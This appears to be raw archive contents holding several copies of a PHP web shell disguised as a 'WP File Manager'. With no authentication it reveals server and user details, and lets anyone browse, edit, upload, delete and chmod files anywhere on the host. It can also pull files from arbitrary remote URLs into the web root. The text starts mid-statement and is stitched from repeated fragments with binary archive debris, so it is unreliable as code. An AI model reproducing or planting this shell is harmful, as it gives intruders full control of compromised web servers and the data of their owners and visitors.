preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]qÜd©Ë©Ëdafina@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]CO¹ò®Ë®Ëdafina@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
